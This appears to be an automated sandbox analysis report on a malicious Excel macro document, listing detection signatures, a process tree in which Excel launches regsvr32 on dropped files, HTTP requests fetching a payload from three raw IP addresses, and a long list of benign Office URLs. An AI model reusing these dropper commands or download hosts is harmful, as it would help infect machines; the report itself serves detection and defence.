Loading ...

Play interactive tourEdit tour

Windows Analysis Report Permission-414467145-06252021.xlsm

Overview

General Information

Sample Name:Permission-414467145-06252021.xlsm
Analysis ID:440505
MD5:590ca0e597487dd5ad6c2f1fb64184dd
SHA1:e141e27af930a2cdeafab2eb20727000de893629
SHA256:20a72dc5350b296f2857911444fa065f5b0bb437be8d1bc61819cf29828a2955
Tags:xlsm
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:64
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Excel documents contains an embedded macro which executes code when the document is opened
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 6876 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 6160 cmdline: regsvr32 ..\Kro.fis MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 5008 cmdline: regsvr32 ..\Kro.fis1 MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 3980 cmdline: regsvr32 ..\Kro.fis2 MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 ..\Kro.fis, CommandLine: regsvr32 ..\Kro.fis, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6876, ProcessCommandLine: regsvr32 ..\Kro.fis, ProcessId: 6160

Signature Overview

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
Source: global trafficTCP traffic: 192.168.2.4:49741 -> 185.240.103.219:80
Source: global trafficTCP traffic: 192.168.2.4:49741 -> 185.240.103.219:80
Source: global trafficHTTP traffic detected: GET /44372.593127662.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.240.103.219Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44372.593127662.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 190.14.37.3Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44372.593127662.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.183.99.120Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.120
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.3
Source: unknownTCP traffic detected without corresponding DNS query: 185.240.103.219
Source: global trafficHTTP traffic detected: GET /44372.593127662.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.240.103.219Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44372.593127662.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 190.14.37.3Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44372.593127662.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.183.99.120Connection: Keep-Alive
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.aadrm.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.addins.store.office.com/app/query
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.cortana.ai
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.diagnostics.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.office.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.onedrive.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://apis.live.net/v5.0/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://augloop.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://augloop.office.com/v2
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cdn.entity.
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://clients.config.office.net/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://config.edge.skype.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cortana.ai
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cortana.ai/api
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://cr.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dataservice.o365filtering.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dev.cortana.ai
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://devnull.onenote.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://directory.services.
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://graph.ppe.windows.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://graph.ppe.windows.net/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://graph.windows.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://graph.windows.net/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://lifecycle.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://login.microsoftonline.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://login.windows.local
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://management.azure.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://management.azure.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://messaging.office.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ncus.contentsync.
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ncus.pagecontentsync.
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://officeapps.live.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://onedrive.live.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://onedrive.live.com/embed?
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://osi.office.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://outlook.office.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://outlook.office365.com/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://pages.store.office.com/review/query
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://powerlift.acompli.net
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://settings.outlook.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://shell.suite.office.com:1443
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://staging.cortana.ai
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://store.office.com/addinstemplate
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://store.office.de/addinstemplate
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://tasks.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://webshell.suite.office.com
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://wus2.contentsync.
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://wus2.pagecontentsync.
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
